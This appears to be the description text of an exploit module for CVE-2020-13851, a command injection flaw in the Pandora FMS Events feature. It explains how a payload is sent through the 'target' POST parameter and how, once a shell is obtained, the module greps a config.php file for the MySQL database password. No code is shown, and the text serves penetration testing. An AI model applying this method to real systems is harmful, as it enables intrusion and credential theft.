          This module exploits a vulnerability (CVE-2020-13851) in Pandora
          FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
          older versions) in order to execute arbitrary commands.

          This module takes advantage of a command injection vulnerability in the
          `Events` feature of Pandora FMS. This flaw allows users to execute
          arbitrary commands via the `target` parameter in HTTP POST requests to
          the `Events` function. After authenticating to the target, the module
          attempts to exploit this flaw by issuing such an HTTP POST request,
          with the `target` parameter set to contain the payload. If a shell is
          obtained, the module will try to obtain the local MySQL database
          password via a simple `grep` command on the plaintext
          `/var/www/html/pandora_console/include/config.php` file.

          Valid credentials for a Pandora FMS account are required. The account
          does not need to have admin privileges.
          This module has been successfully tested on Pandora 7.0 NG 744 running
          on CentOS 7 (the official virtual appliance ISO for this version).
